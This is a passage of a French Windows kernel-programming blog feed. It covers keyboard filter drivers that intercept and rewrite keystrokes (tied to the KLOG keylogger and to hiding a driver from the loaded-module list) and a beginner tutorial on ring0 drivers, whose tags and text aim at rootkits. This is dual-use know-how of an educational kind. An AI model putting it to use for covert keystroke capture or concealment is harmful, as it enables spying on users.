href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G1R8amLnI/AAAAAAAAAF0/D9pfEbKW6fg/s1600-h/ComportementNormal.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G1R8amLnI/AAAAAAAAAF0/D9pfEbKW6fg/s400/ComportementNormal.png" alt="" id="BLOGGER_PHOTO_ID_5175116766705495666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G1lsamLoI/AAAAAAAAAF8/dNR3RDotZVA/s1600-h/ComportementFrauduleu.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G1lsamLoI/AAAAAAAAAF8/dNR3RDotZVA/s400/ComportementFrauduleu.png" alt="" id="BLOGGER_PHOTO_ID_5175117106007912066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G11samLpI/AAAAAAAAAGE/-dI5MfkcCrE/s1600-h/CompletionRoutine.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G11samLpI/AAAAAAAAAGE/-dI5MfkcCrE/s400/CompletionRoutine.png" alt="" id="BLOGGER_PHOTO_ID_5175117380885819026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nous avons donc toutes les clés en main pour coder un petit driver .&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Control your keyboard.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Au cours de cette partie, notre but va être non pas de lire, mais de modifier les scancodes des lettres, afin de contrôler les touches.Le driver va renvoyé les scancodes de façon a écrire « overclok » quelque soit les touches tapées.&lt;br /&gt;&lt;br /&gt;Pour mener a bien notre projet, nous allons créer un device par le biais de la fonction IoCreateDevice(), puis l’attacher avec IoAttachDevice() sur \Device\KeyboardClass0.&lt;br /&gt;Petite précision pour le IoCreateDevice(), nous allons utilisé un de ces paramètres afin de faire transiter une structure personnalisée. En effet nous devons garder à l’esprit que les IRP doivent être envoyées au driver KbdClass, pour cela il faut connaître l’adresse du device \Device\KeyboardClass0, l’I/O Manager fournit pour chaque device une structure personnalisé appelée DeviceExtension permettant au programmeur d’y ajouter des infos. Dans notre cas nous allons donc juste avoir un champ avec à pointeur sur le device KeyboardClass0.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G2M8amLqI/AAAAAAAAAGM/f-BJVnS5tRI/s1600-h/DeviceAttache-DeviceTREE.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G2M8amLqI/AAAAAAAAAGM/f-BJVnS5tRI/s400/DeviceAttache-DeviceTREE.png" alt="" id="BLOGGER_PHOTO_ID_5175117780317777570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nous devons bien évidemment remplir le tableau MajorFunction pour handler des fonctions à appeler selon les IRPs reçus.&lt;br /&gt;Celles intéressantes sont les IRP_MJ_READ.&lt;br /&gt;&lt;br /&gt;Notre fonction qui sera appelée lors de la réception d’une telle IRP doit mettre en place la Completion Routine grâce à la fonction IoSetCompletionRoutine() puis nous « relayons » les IRPs au device d’en dessous.&lt;br /&gt;&lt;br /&gt;En ce qui concerne notre la Completion Routine c’est en quelque sorte le cœur de notre driver, car en effet c’est ici que la modification ou la lecture des IRPs aura lieu.&lt;br /&gt;&lt;br /&gt;Pour ma part j’ai choisis d’aller remplacer les scancodes des touches de manière a former le mot « overclok » lors de l’appuie sur les touches de votre clavier.&lt;br /&gt;&lt;br /&gt;Un petit screenshot :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G2m8amLsI/AAAAAAAAAGc/m7KJEtM_iNk/s1600-h/Final.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R9G2m8amLsI/AAAAAAAAAGc/m7KJEtM_iNk/s400/Final.png" alt="" id="BLOGGER_PHOTO_ID_5175118226994376386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je vous propose aussi de lire un article rédigé par Ivanlef0u sur sa tentative de modification du KLOG.&lt;br /&gt;Il a modifié quelques petits trucs sur la version qu’il propose, à savoir le support des claviers français et le hidalgo du driver dans la PsLoadedModuleList.&lt;br /&gt;&lt;br /&gt;Voici le lien :&lt;br /&gt;- KLOG -&gt; &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=17"&gt;http://www.ivanlef0u.tuxfamily.org/?p=17.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A présent je vous propose mon petit code :&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/OwnzYourKeyboard.htm"&gt;OwnzYourKeyboard.c.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;C’est finit pour aujourd’hui en espérant vous avoir divertis un petit peu, encore merci au personne qui m’ont aidé à la réalisation de cet article etc.&lt;br /&gt;&lt;br /&gt;PS : Je tiens aussi à passer un petit coup de pub pour des amis.&lt;br /&gt;Tout d'abord l'ouverture du site perso de shaka ou sevieron, un site internet rassemblant des écrits qui seront rédigés par lui même concernant de multiples domaines liés a l'informatique.&lt;br /&gt;Ensuite l'ouverture de deux blogs de deux autres personnes que j'apprécie beaucoup, il s'agit de KPCR et de santabug.&lt;br /&gt;En espérant que ces blogs et ce site seront tenus à jour par les auteurs, et que les articles apparaitront d'ici peu :).&lt;br /&gt;Bonne chance à vous, voici les liens ajouter à la blogrollz :&lt;br /&gt;&lt;br /&gt;- Shaka Web Site -&gt; &lt;a href="http://shaka.n0ne.org/"&gt;http://shaka.n0ne.org/.&lt;/a&gt;&lt;br /&gt;- Santabug's blog -&gt; &lt;a href="http://santabug.blogspot.com/"&gt;http://santabug.blogspot.com/.&lt;/a&gt;&lt;br /&gt;- KPCR's blog -&gt; &lt;a href="http://kpcr.blogspot.com/"&gt;http://kpcr.blogspot.com/.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-5974222494225519991?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/5974222494225519991/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=5974222494225519991' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5974222494225519991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5974222494225519991'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/03/sur-les-traces-du-klog.html' title='Sur les traces du KLOG.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G2ZsamLrI/AAAAAAAAAGU/DFY1V6N1lZ4/s72-c/Drivers_Devices.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-3867868105815527809</id><published>2008-02-21T05:43:00.000-08:00</published><updated>2008-12-09T22:04:04.071-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ring3'/><category scheme='http://www.blogger.com/atom/ns#' term='DKOM'/><category scheme='http://www.blogger.com/atom/ns#' term='ring0'/><category scheme='http://www.blogger.com/atom/ns#' term='kd'/><category scheme='http://www.blogger.com/atom/ns#' term='subverting windows kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='hidding with DKOM'/><category scheme='http://www.blogger.com/atom/ns#' term='remote debugging'/><category scheme='http://www.blogger.com/atom/ns#' term='rootkit r0'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='EPROCESS'/><category scheme='http://www.blogger.com/atom/ns#' term='hide process'/><title type='text'>First steps into ring0.</title><content type='html'>Bonjour à tous,&lt;br /&gt;Je profite de mes petites vacances pour attaquer la programmation de driver.&lt;br /&gt;Cela me trottait dans la tête depuis pas mal de temps enfaite, je vous dévoile alors aujourd'hui mes premier pas dans ce nouveau monde.&lt;br /&gt;&lt;br /&gt;Conseils préliminaires :&lt;br /&gt;&lt;br /&gt;- Je vous recommande encore une fois, l'utilisation massive de machines virtuels, et de snapshots.&lt;br /&gt;Tout simplement, parce que les Blues Screen Of Death (abrégé BSOD) arrivent très rapidement.&lt;br /&gt;&lt;br /&gt;- Ensuite, tout comme dans l'userland (ring3), des outils de debugs sont les bienvenus, je vous conseille donc d'installer les "Debugging Tools for Windows".&lt;br /&gt;&lt;br /&gt;- Pour pouvoir mener vos test sur les drivers, je vous recommande "Driver Loader" qui va permettre d'enregistrer votre driver au sein du système.&lt;br /&gt;Vous pouvez ensuite le lancer avec aisance par le biais de la commande "net" :&lt;br /&gt;&lt;br /&gt;net start votredriver&lt;br /&gt;&lt;br /&gt;Le programme "WinObj" peut aussi vous être utile.&lt;br /&gt;&lt;br /&gt;- Et bien sur, le WDK (Windows Driver Kit)!&lt;br /&gt;Cette iso va contenir de la documentation très bien faite, les librairies nécessaires au développement de vos drivers, ..tous ce que vous aurez besoins pour coder vos drivers en tout cas :).&lt;br /&gt;Je cite :&lt;br /&gt;&lt;br /&gt;"The Windows Driver Kit (WDK) is a fully integrated driver development system for the Microsoft Windows family of operating systems. It contains the Windows DDK and tests that Microsoft uses to test the stability and reliability of the Windows operating system."&lt;br /&gt;source : &lt;a href="http://www.microsoft.com/whdc/devtools/WDK/AboutWDK.mspx"&gt;http://www.microsoft.com/whdc/devtools/WDK/AboutWDK.mspx&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Voilà tout pour le moment.&lt;br /&gt;Je vous propose à présent, quelques lignes sur la configuration du debuggeur de kernel (kd).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Debug your fucking vm.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Pour pouvoir debugguer vos futurs driver, ou votre kernel, vous avez besoin d'un serveur prêt à être debugguer, ou une machine virtuel.&lt;br /&gt;En ce qui me concerne j'ai choisis la solution machine virtuel, cela est bien plus simple.&lt;br /&gt;Afin de connecter le kd à votre machine virtuel il va falloir tout d'abord ajouter un Port série à votre vm.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78dGNZdQbI/AAAAAAAAADs/YFs0QosN0kY/s1600-h/AddPortSerie.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78dGNZdQbI/AAAAAAAAADs/YFs0QosN0kY/s400/AddPortSerie.png" alt="" id="BLOGGER_PHOTO_ID_5169882889757475250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On choisit ensuite de faire transiter les données par un named pipe.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78dg9ZdQcI/AAAAAAAAAD0/O8tueuagSzQ/s1600-h/namedpipe.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78dg9ZdQcI/AAAAAAAAAD0/O8tueuagSzQ/s400/namedpipe.png" alt="" id="BLOGGER_PHOTO_ID_5169883349318975938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On configure la connection de la named pipe avec le port série.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78dq9ZdQdI/AAAAAAAAAD8/eGXG5GLqPgo/s1600-h/configNamedpipe.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78dq9ZdQdI/AAAAAAAAAD8/eGXG5GLqPgo/s400/configNamedpipe.png" alt="" id="BLOGGER_PHOTO_ID_5169883521117667794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;N'oublions pas de cliquer sur le bouton "Advanced" et de cochez "Yield CPU on poll".&lt;br /&gt;Une fois configurer notre port série, on va modifier un petit peu le boot.ini pour que la machine supporte le remote debugging.&lt;br /&gt;Vous ouvrez donc le boot.ini avec notepad++ par exemple, vous copiez collez la ligne dans le [Operating systems] qui existe déjà, vous vous retrouvez avec deux lignes identiques.&lt;br /&gt;Vous rajoutez sur l'une des deux cela :&lt;br /&gt;&lt;br /&gt;/debug /debugport=COM1:&lt;br /&gt;&lt;br /&gt;Je me retrouve avec un boot.ini qui ressemble à cela :&lt;br /&gt;&lt;br /&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel" /noexecute=optin /fastdetect /kernel=oemkrnl.exe&lt;br /&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel" /noexecute=optin /fastdetect /kernel=oemkrnl.exe /debug /debugport=COM1:&lt;br /&gt;&lt;br /&gt;A présent, on redemare notre vm..et là au boot, nous avons le choix entre un démarrage classsique, et un démarrage avec le debug activé!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R78d7dZdQeI/AAAAAAAAAEE/3CVPKPlyZ5E/s1600-h/boot.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R78d7dZdQeI/AAAAAAAAAEE/3CVPKPlyZ5E/s400/boot.png" alt="" id="BLOGGER_PHOTO_ID_5169883804585509346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Il est temps de sortir WinDbg.&lt;br /&gt;Vous allez dans le menu "File"-&gt;"Kernel Debug" et on va le configurer pour que les données entre la vm et le debug transite par le named pipe.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78eG9ZdQfI/AAAAAAAAAEM/STEXzNAX9o8/s1600-h/kerneldebug.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R78eG9ZdQfI/AAAAAAAAAEM/STEXzNAX9o8/s400/kerneldebug.png" alt="" id="BLOGGER_PHOTO_ID_5169884002154004978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On valide, et Break (CTR+Break), et vous devriez vous retrouvez avec le prompt du kd.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78eZNZdQgI/AAAAAAAAAEU/eSJuo6cGPfQ/s1600-h/promptkd.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78eZNZdQgI/AAAAAAAAAEU/eSJuo6cGPfQ/s400/promptkd.png" alt="" id="BLOGGER_PHOTO_ID_5169884315686617602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je vous conseil aussi de télécharger les symbols : &lt;a href="http://msdl.microsoft.com/download/symbols"&gt;http://msdl.microsoft.com/download/symbols&lt;/a&gt;.&lt;br /&gt;Ensuite vous vous creez une variable d'environnement qui porte le nom :&lt;br /&gt;&lt;br /&gt;_NT_SYMBOL_PATH&lt;br /&gt;&lt;br /&gt;et comme valeur :&lt;br /&gt;&lt;br /&gt;SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols&lt;br /&gt;&lt;br /&gt;Vous êtes donc prêt à debugguer vos drivers !&lt;br /&gt;Ceci dit je vous donne un peu de documentations :&lt;br /&gt;&lt;br /&gt;- Si vous voulez connecter virtualpc a windbg -&gt; &lt;a href="http://therecyclebin.wordpress.com/2007/06/11/kernel-debugging-windbg-and-virtual-pc/"&gt;http://therecyclebin.wordpress.com/2007/06/11/kernel-debugging-windbg-and-virtual-pc/&lt;/a&gt;.&lt;br /&gt;- Windbg -&gt; &lt;a href="http://software.rkuster.com/"&gt;http://software.rkuster.com/&lt;/a&gt;.&lt;br /&gt;- WDK -&gt; &lt;a href="http://connect.microsoft.com/"&gt;http://connect.microsoft.com/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Introduction&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-weight: bold;"&gt;One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them.&lt;/span&gt;" The Fellowhip of the Ring, J. R. R. TOLKIEN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je vais consacrer ces quelques lignes à présenter un peu le ring0.&lt;br /&gt;Comme vous le savez peut être déjà tous, les processeurs mettent à disposition 4 niveaux de privilèges appelés rings (ring0 , .. , ring3).&lt;br /&gt;Le système windows en utilise que deux d'entre eux à savoir :&lt;br /&gt;&lt;br /&gt;- L'userland ou le ring3 (abrégé r3).&lt;br /&gt;- Et le kerneland ou le ring0 (abrégé r0).&lt;br /&gt;&lt;br /&gt;Le ring0 va permettre la gestion de la mémoire virtuelle par exemple, ou encore la gestion d'un matériel connecté à votre ordinateur ; c'est enfaite le coeur du système.&lt;br /&gt;Comme la citation le laisse entrevoir, dans le ring0 c'est nous le maître :).&lt;br /&gt;En revanche le ring3 est ce qui est le plus classique, les exécutables classiques, notre bon vieux client irc, ou notre player de musique préférée ; ceci dit cette espace est restreint à des règles.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R78gLtZdQhI/AAAAAAAAAEc/rIOLltRuixM/s1600-h/ring3_0.JPG"&gt;&lt;img style="cursor: pointer; width: 283px; height: 177px;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R78gLtZdQhI/AAAAAAAAAEc/rIOLltRuixM/s400/ring3_0.JPG" alt="" id="BLOGGER_PHOTO_ID_5169886282781639186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On retrouve souvent le fonctionnement suivant : une application est exécutée depuis l'userland, celle-ci va envoyer des informations à un driver qui lui va pouvoir agir en conséquence, en lui renvoyant si nécessaire des informations de retours.&lt;br /&gt;&lt;br /&gt;If faut savoir aussi que la taille des registres de nos processeurs s'élève à 32bits (architecture x86), nous avons donc accès a 2^32 adresses mémoire, soit 4go : 2 pour l'userland (de 0x00000000 à 0xBFFFFFFF) et 2 pour le kerneland (de 0xC0000000 à 0xFFFFFFFF).&lt;br /&gt;&lt;br /&gt;A présent notre but va être de coder des programmes capables de survivre dans ce monde où il n'est question que de BSOD (mais nan :)).&lt;br /&gt;On appellera ces programmes des drivers.&lt;br /&gt;&lt;br /&gt;Et pourquoi pas arriver vers un rootkit de base commandé de l'userland ? :).&lt;br /&gt;Place au coding à présent.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Message venu du nouveau monde.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Après cette brève introduction au ring0, nous allons pouvoir aborder la programmation de driver.&lt;br /&gt;Le point d'entré d'un driver est celui-ci :&lt;br /&gt;&lt;br /&gt;NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Avec pDriverObject qui est un pointeur sur une structure du type DRIVER_OBJECT.&lt;br /&gt;Celle-ci représente le driver chargé, et le second argument pRegistryPath est une chaine de caractères UNICODE de la forme suivante :&lt;br /&gt;&lt;br /&gt;\Registry\Machine\System\CurrentControlSet\Services\NomDuDriver&lt;br /&gt;&lt;br /&gt;Ensuite si vous voulez déchargez un driver, il faut spécifier une fonction d'unload par le biais du membre DriverUnload de la structure DRIVER_OBJECT.&lt;br /&gt;&lt;br /&gt;pDriverObject-&gt;DriverUnload = VotreFonction;&lt;br /&gt;&lt;br /&gt;Et enfin, on utilise l'équivalent de printf() mais au niveau kerneland à savoir : DbgPrint().&lt;br /&gt;Les messages seront bien sur visible grâce à un outil utilisé dans des articles précédents : DebugView.&lt;br /&gt;Ceci nous amène donc à la compilation!&lt;br /&gt;&lt;br /&gt;Euh..On compile cela comment?&lt;br /&gt;&lt;br /&gt;J'y viens.:)&lt;br /&gt;Tout d'abord j'utiliserais le compilateur disponible avec le wdk, cela évitera de se casser la tête.&lt;br /&gt;Deux fichiers sont nécéssaires à la compilation :&lt;br /&gt;&lt;br /&gt;- le makefile.&lt;br /&gt;- et un fichier "sources" (c'est enfaite le nom des fichiers de projets sous le wdk).&lt;br /&gt;&lt;br /&gt;Le fichier makefile est composé d'une seule ligne :&lt;br /&gt;&lt;br /&gt;!INCLUDE $(NTMAKEENV)\makefile.def&lt;br /&gt;&lt;br /&gt;Ensuite le fichier sources est décomposé de la façon suivante :&lt;br /&gt;&lt;br /&gt;TARGETNAME = LeNomDuDriver&lt;br /&gt;TARGETPATH = obj&lt;br /&gt;TARGETTYPE = DRIVER&lt;br /&gt;&lt;br /&gt;INCLUDES   = %BUILD%\inc&lt;br /&gt;LIBS       = %BUILD%\lib&lt;br /&gt;&lt;br /&gt;SOURCES    = VotreSource.c&lt;br /&gt;&lt;br /&gt;Nous sommes donc prêt à compiler notre premier driver, émotion au rendez vous !&lt;br /&gt;Nous ouvrons le build environment xp.&lt;br /&gt;On se déplace dans notre dossier contenant les trois fichiers, et on lance la commande build.&lt;br /&gt;Oh..un .sys :), il s'agit de notre driver.&lt;br /&gt;&lt;br /&gt;Mais comment le lance t-on?&lt;br /&gt;&lt;br /&gt;Patience, nous y voilà.&lt;br /&gt;Dans les premières lignes de ce modeste article, je vous proposais plusieurs outils, dont DriverLoader.&lt;br /&gt;DriverLoader va nous permettre d'enregistrer notre driver, et de pouvoir le lancer.&lt;br /&gt;Nous demarrons DebugView, on lance DriverLoader, et on lance notre driver.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R78oBtZdQnI/AAAAAAAAAFM/zoBVOSd_VTM/s1600-h/kikoolol.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R78oBtZdQnI/AAAAAAAAAFM/zoBVOSd_VTM/s400/kikoolol.png" alt="" id="BLOGGER_PHOTO_ID_5169894907075969650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et voilà, notre helloWorld fonctionne :).&lt;br /&gt;A présent, just for phun, nous allons provoquer un BSOD, histoire d'en réver pendant une semaine.&lt;br /&gt;On va aller écrire n'importe quoi à n'importe qu'elle adresse enfaite :).&lt;br /&gt;Resultat en image :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78oZNZdQoI/AAAAAAAAAFU/siqDKJXMeIM/s1600-h/BSOD.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78oZNZdQoI/AAAAAAAAAFU/siqDKJXMeIM/s400/BSOD.png" alt="" id="BLOGGER_PHOTO_ID_5169895310802895490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enfin bon, a présent passons aux choses sérieuses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;E.T téléphone kernel.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maintenant notre but va être de faire communiquer une application lancée en ring3 et un driver en ring0.&lt;br /&gt;Nous commencerons par le driver.&lt;br /&gt;Pour mener à bien notre quête, nous allons utiliser les IOCTLs codes et les IRPs.&lt;br /&gt;Mais nous en parlerons un peu plus bas.&lt;br /&gt;Afin de pouvoir communiquer avec l'exterieur, nous avons besoin de creer un "device" une sorte d'interface.&lt;br /&gt;&lt;br /&gt;NTSTATUS&lt;br /&gt;IoCreateDevice(&lt;br /&gt;IN PDRIVER_OBJECT  DriverObject,&lt;br /&gt;IN ULONG  DeviceExtensionSize,&lt;br /&gt;IN PUNICODE_STRING  DeviceName  OPTIONAL,&lt;br /&gt;IN DEVICE_TYPE  DeviceType,&lt;br /&gt;IN ULONG  DeviceCharacteristics,&lt;br /&gt;IN BOOLEAN  Exclusive,&lt;br /&gt;OUT PDEVICE_OBJECT  *DeviceObject&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;N'oublions pas que les chaines mis en jeux sont des chaines unicodes.&lt;br /&gt;Ensuite il est nécéssaire de creer un symlink entre le nom de notre interface, et le nom visible de l'userland.&lt;br /&gt;Ce symlink permettra d'avoir accès à notre device depuis le r3.&lt;br /&gt;&lt;br /&gt;NTSTATUS&lt;br /&gt;IoCreateSymbolicLink(&lt;br /&gt;IN PUNICODE_STRING  SymbolicLinkName,&lt;br /&gt;IN PUNICODE_STRING  DeviceName&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;Après ces étapes, nous allons "handler" des fonctions à déclencher selon la réception des différentes IRP.&lt;br /&gt;Je m'explique, une IRP est enfaite un paquet d'information envoyé à un driver, il existe plusieurs type d'IRP (voir documentation).&lt;br /&gt;&lt;br /&gt;A l'intérieur de la structure DRIVER_OBJECT il existe un membre nommé MajorFunction qui est tableau de pointeur.&lt;br /&gt;&lt;br /&gt;kd&gt; dt nt!_DRIVER_OBJECT&lt;br /&gt;+0x000 Type             : Int2B&lt;br /&gt;+0x002 Size             : Int2B&lt;br /&gt;+0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT&lt;br /&gt;+0x008 Flags            : Uint4B&lt;br /&gt;+0x00c DriverStart      : Ptr32 Void&lt;br /&gt;+0x010 DriverSize       : Uint4B&lt;br /&gt;+0x014 DriverSection    : Ptr32 Void&lt;br /&gt;+0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION&lt;br /&gt;+0x01c DriverName       : _UNICODE_STRING&lt;br /&gt;+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING&lt;br /&gt;+0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH&lt;br /&gt;+0x02c DriverInit       : Ptr32     long&lt;br /&gt;+0x030 DriverStartIo    : Ptr32     void&lt;br /&gt;+0x034 DriverUnload     : Ptr32     void&lt;br /&gt;+0x038 MajorFunction    : [28] Ptr32     long&lt;br /&gt;&lt;br /&gt;Ce tableau nous permet alors d'handler des fonctions qui vont réagir selon les différentes IRPs reçus.&lt;br /&gt;&lt;br /&gt;Par exemple, lorsque l'on va ouvrir un handle sur notre device (dans notre application ring3) par le biais de la fonction CreateFile(), le driver va recevoir&lt;br /&gt;une IRP_MJ_CREATE, et quand on va fermer le handle, il va recevoir une IRP_MJ_CLOSE.&lt;br /&gt;&lt;br /&gt;C'est ici que les IOCTLs rentrent en jeux.&lt;br /&gt;En effet pour pouvoir déclencher tel ou tel action, nous avons besoin d'une sorte de "code" qui serait recuperé par le driver, et qui agirait en conséquence.&lt;br /&gt;Nous allons donc forger des IOCTLs, par le biais de la macro CTL_CODE().&lt;br /&gt;On va donc creer notre propre "code" qui sera reconnus par le driver.&lt;br /&gt;&lt;br /&gt;#define IOCTL_LOL\&lt;br /&gt;CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)&lt;br /&gt;&lt;br /&gt;par exemple.&lt;br /&gt;Il faut savoir qu'il existe plusieurs type de transfert pour nos données, en ce qui nous concerne nous utiliserons la METHOD_BUFFERED.&lt;br /&gt;&lt;br /&gt;Bon à présent lors de l'envoi de l'IOCTL par notre appli r3, le driver va alors recevoir une IRP_MJ_DEVICE_CONTROL.&lt;br /&gt;La fonction qui sera "handler" à cette irp va alors s'occuper de récuperer des informations sur le type d'IOCTL reçus.&lt;br /&gt;Pour cela nous utiliserons la fonction suivante :&lt;br /&gt;&lt;br /&gt;PIO_STACK_LOCATION&lt;br /&gt;IoGetCurrentIrpStackLocation(&lt;br /&gt;IN PIRP  Irp&lt;br /&gt;);&lt;br 